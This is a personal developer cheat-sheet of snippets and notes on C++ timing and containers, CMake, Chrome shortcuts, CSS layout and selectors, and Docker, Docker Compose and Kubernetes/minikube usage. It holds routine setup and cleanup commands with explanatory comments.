std::chrono::high_resolution_clock::time_point t2 = std::chrono::high_resolution_clock::now();
std::chrono::milliseconds rawTime = std::chrono::duration_cast<std::chrono::milliseconds>(t2 - t1);
std::string stringTime = std::to_string(rawTime.count());
# Timer in Cpp (simpler)
#
#include <ctime>
#include <chrono>
//
typedef std::chrono::high_resolution_clock Time;
typedef std::chrono::milliseconds ms;
//
auto t1 = Time::now();
auto t2 = Time::now();
std::string runTime = std::to_string(std::chrono::duration_cast<ms>(t2 - t1).count());
# Timer in Cpp (as a function)
#include <ctime>
#include <chrono>
//
std::string elapsedTime(std::chrono::high_resolution_clock::time_point t1)
{
auto t2 = std::chrono::high_resolution_clock::now();
std::string duration = std::to_string(std::chrono::duration_cast<std::chrono::milliseconds>(t2 - t1).count());
return duration;
}
//
auto t1 = std::chrono::high_resolution_clock::now();
// code ...
std::string generateTime = elapsedTime(t1);
#############################################################
## C,CPP - Vector
#############################################################
# Example vector in cpp
//
std::vector< std::tuple<std::string, std::string> > get_vector () {
std::ofstream *file = nullptr;
std::ofstream file2;
// file->open("MAKE2.txt");
file2.open("MAKE2.txt");
//
std::vector< std::tuple<std::string, std::string> > myVector;
//
myVector.push_back( std::make_tuple("test1", to_string(file) ));
myVector.push_back( std::make_tuple("test2", to_string(&file2) ));
myVector.push_back( std::make_tuple("test3", to_string("125") ));
myVector.push_back( std::make_tuple("test4", to_string(1.3) ));
myVector.push_back( std::make_tuple("test5", to_string(&file2) ));
myVector.push_back( std::make_tuple("test6", to_string("126") ));
//
return myVector;
}
# Print the elements of a cpp vector
//
#include <string>
#include <vector>
#include <tuple>
void show_vector ( std::vector< std::tuple<std::string, std::string> > myVector ) {
for(auto &vec : myVector){
std::cout << "vec: " << std::get<0>(vec) << ", " << std::get<1>(vec) << std::endl;
}
}
# Find duplicate values in a cpp vector using a mapping table
//
#include <string>
#include <vector>
#include <tuple>
#include <map>
void show_duplicates ( std::vector< std::tuple<std::string, std::string> > myVector ) {
std::map<std::string, int> myMap;
for(auto &vec : myVector){
auto test_name = std::get<0>(vec);
auto address = std::get<1>(vec);
if(myMap.count(address)){
std::cout << "vec: " << test_name << ", " << address << std::endl;
std::cout << " * Seen address already!" << std::endl;
}
myMap[address]++;
}
}
# Join the contents of a std::vector into a string (cpp)
std::string str = "";
for (int i=0, end=vec.size(); i<end; i++) {
str += (i ? ", " : "");
str += vec[i];
}
# Join the contents of a std::map into a string (cpp)
// Build a json string of the possible names
std::string sJson = "{";
int count = 1;
int size = mNames.size();
for (auto &item : mNames)
sJson += "\"" + item.second + "\": \"" + item.first + "\"" + ( (count++ == size) ? "" : ",");
sJson += "}";
return sJson;
# Read a space delimited/separated file into a vector (cpp)
//
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <tuple>
#include <sstream>
#include <regex>
//
std::vector<std::tuple<std::string, std::string>> file_to_vector (std::string file_path) {
//
std::vector<std::tuple<std::string, std::string>> vec;
std::ifstream file(file_path);
std::string line;
//
while (std::getline(file, line))
{
// Skip comment lines
if(std::regex_search(line, std::regex("^\\s*#")))
continue;
//
// Skip blank lines
if(std::regex_search(line, std::regex("^\\s*$")))
continue;
//
std::stringstream ss(line);
std::string str1;
std::string str2;
//
ss >> str1;
ss >> str2;
//
vec.push_back({str1,str2});
}
//
return vec;
}
# Cpp check if map key exists(is found)
if (m_query_parameters.count("get_state")) {
body = "STRING";
}
# Check if a string is found in a vector in cpp
# This returns a bool (true if present, false otherwise)
#
#include <algorithm>
#include <vector>
if ( std::find(vec.begin(), vec.end(), item) != vec.end() )
do_this();
else
do_that();
#
# Or this way
#include <map>
if (map.find(item) != map.end())
do_this();
else
do_that();
# Cpp string to std::vector function
std::vector<std::string> stringToVector(std::string myString)
{
std::vector<std::string> myVec;
std::istringstream ss(myString);
std::string token;
while (std::getline(ss, token, ','))
myVec.push_back(token);
return myVec;
}
# Cpp working with vectors and tuples (arrays)
std::vector<std::tuple<std::string, std::string, std::string>> possibilities_vec;
possibilities_vec.push_back(std::make_tuple( row.get_string(0), row.get_string(1), row.get_string(2) ));
body += "\n\n// options:";
for (auto &val : possibilities_vec)
body += "\n// " + std::get<0>(row) + " " + std::get<1>(row) + " " + std::get<2>(row);
# Check if a vector is empty (cpp)
if (Vector.empty()) { /* operations */ }
# Cpp int to string (toString)
to_string(USE_DISPLAY_NONE)
# Cpp check if a value is defined (not null)
std::string Renderer::renderTable(const std::string &module, const std::string *id /*= nullptr*/)
if (id != nullptr)
//
// declared here
std::string renderTable(const std::string &module, const std::string *id = nullptr,
const std::string *useDisplayNone = nullptr, const std::string *useTablePush = nullptr); // TODO: added for debug
#############################################################
## CKEditor
#############################################################
# Make the CKEditor to be readonly.
CKEDITOR.instances.editor1.setReadOnly(true)
#############################################################
## Cmake
#############################################################
# Exit from cmake
return()
# Print a message in cmake
message( "PROJECT_NAME: ${PROJECT_NAME}" )
# Assign variable in cmake
set(GENERATE_OUTPUT_DIR "${CMAKE_BINARY_DIR}/src_generated/")
# Remove files from a folder using cmake
file(GLOB REMOVE_FILES "${CMAKE_BINARY_DIR}/*")
message("REMOVE_FILES: ${REMOVE_FILES}")
file(REMOVE_RECURSE ${REMOVE_FILES})
# Include submodules in *.cmake
set(CMAKE_MODULE_PATH "${PROJECT_SOURCE_DIR}/tools/cmake")
include(macros_internal)
include(macros_public)
# Minimal cmake example (step0)
# Copy into CMakeLists.txt
#
cmake_minimum_required(VERSION 3.10)
#
# set the project name
project(Tutorial VERSION 1.0)
#
# After assigned project, PROJECT_SOURCE_DIR is set
message("")
message("PROJECT_NAME: ${PROJECT_NAME}")
message("PROJECT_SOURCE_DIR: ${PROJECT_SOURCE_DIR}")
message("PROJECT_BINARY_DIR: ${PROJECT_BINARY_DIR}")
message("")
#
# Add an executable to the project using the specified source files.
add_executable(Tutorial tutorial.cxx)
# Minimal cmake example (step0)
# Copy into tutorial.cxx
#
#include <iostream>
int main(int argc, char* argv[])
{
std::cout << "Hello CMake" << std::endl;
return 0;
}
# Building with cmake (step0)
mkdir build
cd build
cmake ..
cmake --build .
#############################################################
## Chrome
#############################################################
# Jump to address bar in Chrome (url,pi)
Control + L
# Toggle Chrome browser navigation bar (favorites)
Control + Shift + B
# View source code in Android chrome browser
view-source:MY_URL
# Audit the speed of a website using the Google Chrome extension Lighthouse.
# Enable "Smooth Scrolling" in Chrome
chrome://flags/
Enable: #smooth-scrolling
#
# Does not appear to make a difference on the pi.
# View chrome case information (debug)
chrome://net-internals
# Force Chrome to reload the website and not use the cache (page,renderStatic)
Control + F5
Open the previous page from your browsing history in the current tab (Chrome)
Alt + Left arrow
# Allow running local files in Chrome on Windows 10
# Close all Chrome windows
cd "C:\Program Files (x86)\Google\Chrome\Application"
chrome.exe --allow-file-access-from-files
# Chrome Full Screen Mode
F11
# Create a link in the console which can be opened in the browser (hyperlink,terminal)
using Control+Click
file://absolute_path
# Install Chrome on Ubuntu
#
# Add Key:
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
#
# Set repository:
echo 'deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main' | sudo tee /etc/apt/sources.list.d/google-chrome.list
#
# Install package:
sudo apt-get update
sudo apt-get install google-chrome-stable
# Hide/Show favorites tab in Chrome.
Control + Shift + B
#############################################################
## CSS - Anchor
#############################################################
# CSS to keep an element anchor on the top side
position: absolute;
top: 15%;
#############################################################
## CSS - Blur
#############################################################
# Blur/Unblur (CSS,style)
# blanket is a direct child of body
function blur () {
document.querySelector("#blanket").className = "overlay";
}
function unblur () {
document.querySelector("#blanket").className = "";
}
.overlay{
position: absolute;
width: 100%;
height: 100%;
z-index: 10;
background-color: rgba(0,0,0,0.5); /*dim the background*/
}
#############################################################
## CSS - Box
#############################################################
# Create an empty (check) box using CSS
h1::before {
border: 2px solid black;
width: 1rem;
height: 1rem;
content: "";
box-sizing: border-box;
display: inline-block;
border-radius: 15%;
margin-right: 1rem;
}
#############################################################
## CSS - Center
#############################################################
# Center a child of unknown width and height (CSS,style)
# both vertically and horizontally
.parent {
position: relative;
}
.child {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
#############################################################
## CSS - Debug
#############################################################
# Show the element placement/position (css,color)
# Debug html/table
* { border: 1px dashed blue }
#############################################################
## CSS - Display
#############################################################
# Content inside an element is shown vertically. (CSS)
# This will make it be horizontal (spread out).
display: contents;
#############################################################
## CSS - Flex
#############################################################
# Vertically align elements inside a container (CSS,style)
.container {
display: flex;
align-items: center;
}
#############################################################
## CSS - Force
#############################################################
# Force a style even though there is a longer (more specific one) (CSS Style)
#details .failed_validation {
background-color: #ff5050 !important;
}
#############################################################
## CSS - Grid
#############################################################
# Avoid having to always set the grid-template-columns by using (HTML,section)
grid-auto-rows: min-content;
#############################################################
## CSS - Orientation
#############################################################
# Differentiate between portrait and landscape mode (PC versus PI,CSS styles)
//
#main {
width: -webkit-fill-available;
height: 91%;
position: relative;
}
@media all and (orientation:landscape) {
#main {
height: 100%;
}
}
#############################################################
## CSS - Progress Bar
#############################################################
# Create a progress bar in HTML (css)
background: linear-gradient(90deg, rgb(40, 135, 20) 59%, rgb(129, 199, 132) 0);
#############################################################
## CSS - Readonly
#############################################################
# Readonly checkboxes (HTML)
# Use the attribute "disabled" to make a checkbox readonly
# Both "readonly" and "disabled" work with other elements like "select".
# Note: "readonly" form elements make show up when serialized.
# "disabled" form elements will not show up when serialized.
#############################################################
## CSS - Scroll
#############################################################
# Make sure an element is seen when scroll (without using the mouse,javascript)
document.querySelector("#id").scrollIntoViewIfNeeded(true);
#############################################################
## CSS - Selectors
#############################################################
# "*" - Universal selector (CSS,Basic selectors)
# Selects all elements. Optionally, it may be restricted to a specific
# namespace or to all namespaces.
# Syntax:
* ns|* *|*
# Example:
* will match all the elements of the document.
# "<node>" - Type selector (CSS,Basic selectors)
# Selects all elements that have the given node name.
# Syntax:
elementname
# Example:
input will match any <input> element.
# ".class" - Class selector (CSS,Basic selectors)
# Selects all elements that have the given class attribute.
# Syntax:
.classname
# Example:
.index will match any element that has a class of "index".
# "#id" - ID selector (CSS,Basic selectors)
# Selects an element based on the value of its id attribute.
# There should be only one element with # a given ID in a document.
# Syntax:
#idname
# Example:
#toc will match the element that has the ID "toc".
# "[attr=val]" - Attribute selector (CSS,Basic selectors)
# Selects all elements that have the given attribute.
# Syntax:
[attr]
[attr=value]
[attr~=value]
[attr|=value]
[attr^=value]
[attr$=value]
[attr*=value]
# Example:
[autoplay] will match all elements that have the autoplay attribute
set (to any value).
# "A, B" - Selector list (CSS,Grouping selectors)
# The , is a grouping method, it selects all the matching nodes.
# Syntax:
A, B
# Example:
div, span will match both <span> and <div> elements.
# "A B" - Descendant combinator (CSS,Combinators)
# The (space) combinator selects nodes that are descendants of the first element.
# Syntax:
A B
# Example:
div span will match all <span> elements that are inside a <div> element.
# "A > B" - Child combinator (CSS,Combinators)
# The > combinator selects nodes that are direct children of the first element.
# Syntax:
A > B
# Example:
ul > li will match all <li> elements that are nested directly inside a <ul> element.
# "A ~ B" General sibling combinator (CSS,Combinators)
# The ~ combinator selects siblings. This means that the second element follows the first (though # not necessarily immediately), and both share the same parent.
# Syntax:
A ~ B
# Example:
p ~ span will match all <span> elements that follow a <p>, immediately or not.
# "A + B" - Adjacent sibling combinator (CSS,Combinators)
# The + combinator selects adjacent siblings. This means that the second element directly follows # the first, and both share the same parent.
# Syntax:
A + B
# Example:
h2 + p will match all <p> elements that directly follow an <h2>.
# "A || B" Column combinator (CSS,Combinators)
# The || combinator selects nodes which belong to a column.
# Syntax:
A || B
# Example:
col || td will match all <td> elements that belong to the scope of the <col>.
# "p::first-line" - Pseudo classes (CSS)
# The : pseudo allow the selection of elements based on state information
# that is not contained in # the document tree.
# Example:
a:visited will match all <a> elements that have been visited by the user.
# Pseudo elements
# The :: pseudo represent entities that are not included in HTML.
# Example:
p::first-line will match the first line of all <p> elements.
#############################################################
## CSS - Stack Order
#############################################################
# Update the stacking order of elements (CSS,style)
# Elements with bigger number are placed above this.
# Default is 0.
.child {
z-index: 20;
}
#############################################################
## CSS - Text Input
#############################################################
# Overwrite the Chrome placeholder background color (CSS Style)
# Color after choosing a past selected value.
#details input:-webkit-autofill {
-webkit-box-shadow: 0 0 0px 1000px #ddd inset;
}
#############################################################
## CSS - Transform
#############################################################
# CSS uppercase text.
/* text-transform: uppercase; */
#############################################################
## CSS - Variables
#############################################################
# Use a variable inside CSS styling
html, body {
--accent-color: #ae0000;
}
#main > span {
background: var(--accent-color);
}
#############################################################
## CSS - Wrap
#############################################################
# Make an element (like div) wrap the text when too long
.wordwrap {
white-space: pre-wrap; /* CSS3. Chrome*/
white-space: -moz-pre-wrap; /* Firefox */
white-space: -o-pre-wrap; /* Opera 7 */
word-wrap: break-word; /* IE */
width: 8rem;
}
#############################################################
## Cowsay
#############################################################
# Ascii art messages.
sudo apt install cowsay
cowsaw hey
#############################################################
## Dig (nslookup)
#############################################################
# Install dig command.
apt install dnsutils
#############################################################
## Docker
#############################################################
# View docker log (warnings,errors)
docker compose logs -f --tail 200
# Install a mail server using docker
sudo apt install docker docker-compose
sudo usermod -a -G docker $USER
sudo su $USER # To avoid restarting for groups to take effect
docker pull mailserver/docker-mailserver:latest
# Check docker processes
docker ps
ctop
#############################################################
## Docker Setup
#############################################################
# Enable cgroups in ubuntu (for docker)
sudo vi /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash systemd.unified_cgroup_hierarchy=1 cgroup_enable=memory cgroup_memory=1"
sudo update-grub
reboot
# Check if cgroups is enabled (ubuntu)
cat /proc/cmdline
# Check if using cgroups v1:
ls /sys/fs/cgroup
blkio cpuacct cpuset freezer memory net_cls,net_prio perf_event rdma unified
cpu cpu,cpuacct devices hugetlb net_cls net_prio pids systemd
# Check if using cgroups v2:
ls /sys/fs/cgroup
cgroup.controllers cgroup.max.descendants cgroup.stat cgroup.threads system.slice
cgroup.max.depth cgroup.procs cgroup.subtree_control init.scope user.slice
#############################################################
## Docker Build
#############################################################
# Build a docker image based on the Dockerfile
cd ~/tmp/learning_docker/02-*
docker build .
docker images
# EXPOSE 80 in Dockerfile does nothing
docker run -p 3000:80 <IMAGE_ID>
http://localhost:3000/
docker ps
docker stop <CONTAINER_ID>
# Run interactive container (perl shell)
docker run -it perl
docker run -it py-max
# Restart container for CLI
docker start -a -i 99150a04a616
# Run interactive container (bash shell)
docker run -it perl bash
# Go inside a running container.
docker container exec -it feedback-app bash
# Build updated perl image.
docker build -t my-perl .
docker run my-perl -E 'say $^V'
# Rename a docker container
docker container rename <CONTAINER_ID> my-perl-container
# Restart a container
docker container start -a my-perl-container
#############################################################
## Docker Dockerfile Commands
#############################################################
# Dockerfile commands:
# These are executed only during a BUILD.
FROM perl
WORKDIR /app
COPY . /app
RUN echo "Building the image now"
RUN perl -E 'say "Image uses perl version: $^V"'
# Dockerfile commands:
# These are executed only during a RUN.
CMD [ "ls" ]
CMD [ "echo", "Run the container now" ]
CMD [ "perl", "my.pl" ]
#
ENTRYPOINT [ "perl" ]
docker run <IMAGE_ID> -E 'say $^V'
# Dockerfile commands:
# COPY can be controlled by
cat .dockerignore
.git*
node_modules
#############################################################
## Docker Images/Containers
#############################################################
# Images and containers.
# Image - blueprint.
# Container - instance of image.
# Get an image with perl inside.
docker run perl perl -E 'say $^V'
#
# Or in 2 steps.
docker pull perl
docker images
docker run <IMAGE_ID> perl -E 'say $^V'
docker run -it perl:5.38-slim perl -E 'say 123'
# Dump the contents of an image.
docker image inspect my-perl
# Copy file to/from a container.
# For config files.
docker cp youthful_brown:/app/.bashrc .
# Assign tag to an image
docker build -t REPO:TAG .
docker build -t node:12 .
# Assign name to a container
docker run --name my-name IMAGE
# Docker filter images.
-f, --filter value Filter output based on conditions provided (default [])
- dangling=(true|false)
- label=<key> or label=<key>=<value>
- before=(<image-name>[:tag]|<image-id>|<image@digest>)
- since=(<image-name>[:tag]|<image-id>|<image@digest>)
- reference=(pattern of an image reference)
docker image ls -f reference=poti1/my-perl-server
#############################################################
## Docker Images/Containers - Cleanup
#############################################################
# Remove all stoped containers.
docker container prune
# Auto remove container on exit
docker run --rm <IMAGE_ID> perl -E 'say $^V'
# Remove all docker containers and images.
docker rm --force $(docker ps -aq)
docker rmi --force $(docker images -aq)
# Remove stuck containers
sudo systemctl stop docker.service
sudo su
rm -f /var/lib/docker/containers/* # just "sudo ..." doesnt work for some reason.
exit
sudo systemctl start docker.service
#############################################################
## Docker Logs
#############################################################
# View messages from containers.
docker logs CONTAINER
docker logs -f CONTAINER
#############################################################
## Docker Attach/Detach
#############################################################
# Attach to a container.
docker run CONTAINER
docker start -a CONTAINER
# Detach from a container.
docker run -d CONTAINER
#############################################################
## DockerHub (push/pull)
#############################################################
# Need to first create an auth key on dockerhub
docker login -u poti1
# Upload to dockerhub.
# Make sure repo is public or you cant upload due to restrictions.
docker push poti1/my-perl-server:latest
# Fetch image.
docker pull poti1/my-perl # Always fetches the latest.
docker run poti1/my-perl # Fetches only if missing locally.
# Use an uploaded image.
docker run -it --rm poti1/my-perl -E 'say 123'
#############################################################
## Docker Data/Volumes
#############################################################
# 2 types of volumes/mount
# -v LOCAL:DOCKER:PERMISSIONS
docker run -v /app/data # Anynymous volume.
docker run -v data:/app/data # Named volume.
docker run -v $(pwd)/data:/app/data # Bind mount.
docker run -v $(pwd)/data:/app/data:ro # Bind mount (read-only).
#
# anonymous - closed on shutdown
# named - persistent.
# View docker volumes
# Does NOT show bind mounts.
# Only for development use.
docker volume ls
# Create anonymous docker volume
VOLUME [ "/app/path" ]
# Same as:
-v /app/path
# Create named docker volume
# Not deleted on container shutdown.
# NAME:/PATH_IN_CONTAINER:PERMISSIONS
# NAME should be absolute
docker run -v $(pwd)feedback:/app/feedback feedback-node
docker run -v $(pwd)feedback:/app/feedback:ro feedback-node
# Docker volume gotchas.
# Mount a folder will overwrite all content in container folder.
# If clash of volume paths, longer wins.
docker run -d --rm -p 3000:80 --name feedback-app -v $(pwd)/feedback:/app/feedback -v $(pwd):/app -v /app/node_modules feedback-node
#############################################################
## Docker ARG/ENV
#############################################################
# Using environmental variables in a Dockerfile.
ENV PORT 80
EXPOSE $PORT
# Build and run using an environmental variable
docker run --env DEBUG=1
docker run --rm --env PORT=8000 poti1/my-perl -E 'say "123 $ENV{PORT}"'
# Provide arguments when building a docker image.
ARG DEFAULT_PORT=8080
ENV PORT $DEFAULT_PORT
EXPOSE $PORT
docker build --build-arg DEFAULT_PORT=3000
#############################################################
## Docker Networking
#############################################################
# Docker networking - talk to website.
# Just works "out of the box" by using -p LOCAL_PORT:CONTAINER_PORT
# Docker networking - talk to host machine.
# Need to change url in the address.
# localhost -> host.docker.internal
# Docker networking - talk to another container.
# Every container SHOULD do just one main thing.
# 1 container for the server.
# 1 container for the database.
# Docker networking - steps - 1
docker build -t favorites-node:latest .
docker run --name favorites --rm -p 3000:3000 favorites-node
# Will fail due to:
MongoNetworkError: failed to connect to server [localhost:27017]
# Docker networking - steps - 2
docker pull mongo
docker run -d --name mongodb mongo
docker container inspect mongodb | grep IPAddress
# Can use that IP address.
# Docker networking - Container Networks (WIP).
docker run --network my_network ...
docker run --name favorites --rm -p 3000:3000 --network favorites-net favorites-node
# However networks are NOT automatically created!
# docker: Error response from daemon: network favorites-net not found.
# Docker networking - Container Networks (cleaner solution).
# When in the same network, can use CONTAINER_NAME (mongodb) instead of the HOST in a url.
docker network create favorites-net
docker build -t favorites-node:latest .
docker run -d --rm --network favorites-net --name mongodb mongo
docker run -d --rm --network favorites-net --name favorites -p 3000:3000 favorites-node
#############################################################
## Docker Multi Container Applications
#############################################################
# Docker Multi Container Applications (steps)
docker network create goals-net
docker run -d --rm --network goals-net --name mongodb -v my_mongo_data:/data/db mongo
# Volume can be found on dockerhub or "docker image inspect mongo | grep -A5 Volumes"
cd backend
docker build -t goals-node .
docker run -d --rm --network goals-net --name goals-backend -p 80:80 -v $(pwd):/app -v /app/node_modules -v logs:/app/logs goals-node
cd ../frontend
docker build -t goals-react .
docker run -d --rm --name goals-frontend -it -p 3000:3000 -v $(pwd)/../frontend/src:/app/src goals-react
# Need to use -it or react may auto close.
# React code is actually running in the browser.
# No need to use --network.
#############################################################
## Docker Compose
#############################################################
# Docker compose is used to replace:
docker build ...
docker run ...
# All with:
docker-compose up
# Docker compose uses:
- NOT a replacement Dockerfile.
- NOT a replacement for images and containers.
- NOT suited for multihost machines.
# Docker compose keywords:
# Services - containers
# Docker compose template (docker-compose.yml):
https://docs.docker.com/compose/features-uses/
version: "3.8"
services:
mongodb:
image: "mongo"
volumes:
- data:/data/db
environment:
MY_VAR: ABC
# env-file:
# - ./env/mongo.env
backend:
build: ./frontend
container_name: backend
ports:
- "80:80"
volumes:
- logs:/app/logs # Named. Need to also add to main volumes.
- ./backend:/app # No need for absolute paths :)
- /app/node_modules # Anonymous.
depends_on:
- mongodb
frontend:
build: ./frontend
container_name: frontend # --name
ports: # -p
- "3000:3000"
volumes: # -v
- ./frontend/src:/app/src
depends_on:
- mongodb
- backend
stdin_open: true # -i
tty: true # -t
volumes:
data:
logs:
# Run docker compose commands
docker-compose up # build and run all images.
docker-compose down # Removes all containers (does NOT remove volumes).
docker-compose up -d # Dettached
docker-compose build # Force image rebuild.
docker-compose up --build # Force image rebuild and start.
#############################################################
## Docker Utility Containers
#############################################################
# Start node dettached and run commands inside of it.
docker run -it -d --rm --name mynode node
docker exec -it mynode npm init
# Check postgres on docker image
docker exec -it keycloak-postgres bash
psql -h localhost -U keycloak
# Run a command when starting a container
docker run -it --rm --name mynode node [DEFAULT_COMMAND_TO_RUN]
# Create a utility container.
# Try 1: Dockerfile to build setup something on the host machine.
# (without needing the extra tools)
FROM node:14-alpine
WORKDIR /app
ENTRYPOINT [ "npm" ] # Prefix to "docker run" command.
#
# Mirror generated files to the host machine (By using a bind mount).
# This will create package.json on the local machine.
docker build -t mynpm .
docker run -it --rm -v $(pwd):/app mynpm init
docker run -it --rm -v $(pwd):/app mynpm install
docker run -it --rm -v $(pwd):/app mynpm install express --save
# Create a utility container.
# Try 2: Similar, but now using docker-compose.
version: "3.8"
services:
npm:
build: ./
stdin_open: true
tty: true
volumes:
- ./:/app
#
docker-compose run --rm npm init
docker-compose run --rm -- npm install express --save
# Create a utility container.
# Try 3: Same, but do NOT need a Dockerfile now.
version: "3.8"
services:
npm:
stdin_open: true # -i
tty: true # -t
volumes: # -v
- ./:/app
image: node:14-alpine
working_dir: /app
entrypoint: npm
docker-compose run --rm npm init
docker-compose run --rm -- npm install express --save
#############################################################
## Docker Complex Setup
#############################################################
# Docker Complex Setup. Make laravel project.
docker-compose run --rm -- composer create-project --prefer-dist laravel/laravel .
docker-compose up -d --build server
docker-compose run --rm artisan migrate
# Start only specific services (containers)
docker-compose up -d server php mysql
docker-compose up -d server # if server "depends_on" others.
docker-compose up -d --build server # Always rebuild
http://localhost:8000/
# Check php version inside of a container.
docker-compose run --rm -- php php -v
#############################################################
## Docker Multistage Builds
#############################################################
# Docker Multistage Builds - Use artifacts from a different stage.
FROM node:14-alpine as build # Label a build
RUN npm run build
FROM nginx:stable-alpine # Would normally discard previous commands.
COPY --from=build /app/build /usr/share/nginx/html # Copy content from a previous stage.
EXPOSE 80
CMD [ "nginx", "-g", "daemon off;" ]
# Docker Multistage Builds - Specify which stage to build when given multiple stage.
docker build --target build -f frontend/Dockerfile.prod ./frontend
#############################################################
## Docker Kubernetes - Theory and Setup.
#############################################################
# Install docker kubernetes.
# Docker Compose for Deployment.
https://minikube.sigs.k8s.io/docs/start/
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube_latest_amd64.deb
sudo dpkg -i minikube_latest_amd64.deb
# GUI like CLI for minikube
k9s
k9s -n iam-ns
# Docker Kubernetes - Tab completion.
# Minikube tab completion.
if command -v minikube &>/dev/null; then
source <(minikube completion bash)
alias kubectl="minikube kubectl --"
source <(kubectl completion bash)
fi
# Docker Kubernetes - Definitions.
Kubernetes - Nagivator. Framework for deployment.
Still need to handle image/container creation.
Watchdog.
Cluster - Collection of node machines.
Can be given to a cloud provider to setup whats
required for a cluster.
Nodes - Physical or virtual machines.
Master Node - Controls deployments (aka generals)
- API Server - API for kubelet communication.
- Scheduler - Makes new pods if needed (health-check)
- Kube-Controller Manager - Correct pod count.
- Cloud-Controller Manager - Translates to AWS or other providers.
Worker Node - What runs the pod/container (aka soldiers.)
Can run multiple pods.
- Kubelet - communicate between master and worker nodes.
- Docker - run containers.
- Kube-proxy - Control traffic.
Pod - Smallest possible unit (container(s)).
- Containers + resources.
- Atom/indivisible part.
# Docker Kubernetes - Definitions.
Proxy/Config - Setup connection to others/otherside world.
Control Plane - Defines end state.
Services - Logical sets of pods with a unique Pod- and Container-
independent IP address.
# Docker Kubernetes - Definitions.
Kubermatic - Run kubernetes on autopilot.
kubeclt - Send instructions to master node
(which would control work nodes.)
(aka president)
# Docker Kubernetes - Definitions.
minikube - Can be used to simular other machines.
Does not replace kubectl.
# Docker Kubernetes - Pod Object.
# Docker Kubernetes - Deployment Object.
Controls (multiple) pods.
Can set desired state.
Define which pods to run and how many.
Pause, delete, roll back deployments (say for a bug fix).
Scalable.
Used often instead of directly controlling pods.
#############################################################
## Docker Kubernetes - Usage (Imperative Approach)
#############################################################
# Docker Kubernetes - Simple App Example
cd ~/my/git/otrs/docker/learning_docker/12-Kubernetes/kub-action-01-starting-setup
docker build -t kub-first-app .
minikube delete
minikube status # Check if running already.
minikube start # Check if running already.
minikube profile list # View clusters.
kubectl create deployment first-app --image=kub-first-app
# Fetches image from dockerhub.
kubectl get pod # View container(s).
kubectl get deployments # View pod controllers.
READY
0/1 # One deployment failed since image is not in a cluster.
kubectl delete deployments first-app # Remove a speciic deployment.
# Docker Kubernetes - Simple App Example
docker tag kub-first-app poti1/kub-first-app # Create docker tag
docker image rm kub-first-app # Untag old tag name.
docker push poti1/kub-first-app # Push out new repo.
kubectl describe pod first-app # Debug why an image cant be pulled.
minikube dashboard # Dashboard.
# Read documentation about kubernetes manifest files.
kubectl api-resource
kubectl explain ingresses.spec.rules.http.paths.backend.service.name
# Docker Kubernetes - Service Object.
# Exposes pods to others (since IP addresses change on replacement).
# Groups pods and provides a shared IP.
# Allows external access to pods.
kubectl expose deployment first-app --type=TYPE --port=8080
# Types:
# ClusterIP - (Default) Reachable from within a cluster.
# NodePort - IP address of worker node.
# LoadBalancer - Evenly distribute traffic (Mainly for outside access).
kubectl get service
minikube service first-app # Open a webpage for a service/app.
minikube service first-app --url=true # Only shows the link to the service.
# Docker Kubernetes - Scaling.
# Create 3 pods.
kubectl scale deployment/first-app --replicas=3
kubectl get pod
# Now during a crash (error), another pod can handle traffic.
#
# Scale down.
kubectl scale deployment/first-app --replicas=1
# Docker Kubernetes - Deployment updates.
# Update app.js
# Rebuild image:
# New images are ONLY downloaded (by default) if they have a new tag.
docker build -t poti1/kub-first-app:2 .
docker push poti1/kub-first-app:2
kubectl set image deployment/first-app kub-first-app=poti1/kub-first-app:2 # Update deployment.
kubectl get deployments.apps
kubectl rollout status deployment/first-app # Monitor deployment status.
kubectl rollout undo deployment/first-app # Undo the previous deployment.
kubectl rollout history deployment/first-app # "git log"
kubectl rollout history deployment/first-app --revision=3 # "git log --stat"
kubectl rollout undo deployment/first-app --to-revision=1 # "git revert"
# Docker Cleanup.
kubectl delete service first-app
kubectl delete deployment first-app
kubectl get service
kubectl get pod
#############################################################
## Docker Kubernetes - Usage (Declarative Approach)
#############################################################
# docker-compose uses docker-compose.yml
# kubectl can use:
deployment.yml
service.yml
kubectl apply -f deployment.yml
kubectl apply -f service.yml
# deployment.yml syntax:
# https://kubernetes.io/docs/concepts/workloads/controllers/deployment/
cat ~/git/otrs/docker/learning_docker/13-my-kube-perl-server/README.md
# Field is ummutable error using kubectl apply.
# Delete previous deployment and try again.
https://www.datree.io/resources/kubernetes-error-codes-field-is-immutable
# Delete by label.
kubectl delete deployments,services -l group=example
#############################################################
## Docker Kubernetes - Volumes
#############################################################
# Docker Kubernetes - Volume Theory.
Volumes survive container removal.
Volumes are removed on pod removal (by default).
Volumes are not necessarily persistent.
Can have different types/drivers of volumes:
- local -
- cloud-provider -
Docker volumes are much simpler.
# Docker Kubernetes - Volume Theory.
When a pod crashes, the volumes is removed!
# Docker Kubernetes - Volume types.
# Per pod. always starts empty.
volumes:
- name: my-data
emptyDir: {}
# Docker Kubernetes - Volume types.
# Lasts beyond pod life.
volumes:
- name: my-data
hostPath:
path: /data
type: DirectoryOrCreate
# Docker Kubernetes - Persistent Volume (PV) Claim.
Normal Volumes:
- Attached to a pod.
- Ok for temporary data.
- Examples: emptyDir, hostPath
Persistent volumes:
- Separate from nodes and pods.
- hostPath is only persistent when used in minikube.
- Need to create a volume and a claim.
- Single volume definition and claim.
# Docker Kubernetes - Environment Variables
containers:
- name: my-server
env:
- name: STORY_FOLDER
value: story
# Delete persistent volumes
kubectl delete pv postgres-pv
#############################################################
## Docker Kubernetes - Networking
#############################################################
# Docker Kubernetes - Networking
# For docker-compose, use: the container/service name (like "auth").
# For pod internal communication, use: "localhost".
# For cluster internal communication, use
kubectl get service # CLuster-IP
# Docker Kubernetes - Networking
# Automatically generated ENV variables in kube.
# Where '-' would be replaced with '_'.
"MYSERVICE2_PORT": "tcp://10.97.111.33:3001",
"MYSERVICE2_PORT_3001_TCP": "tcp://10.97.111.33:3001",
"MYSERVICE2_PORT_3001_TCP_ADDR": "10.97.111.33",
"MYSERVICE2_PORT_3001_TCP_PORT": "3001",
"MYSERVICE2_PORT_3001_TCP_PROTO": "tcp",
"MYSERVICE2_SERVICE_HOST": "10.97.111.33", # USE THIS
"MYSERVICE2_SERVICE_PORT": "3001",
#
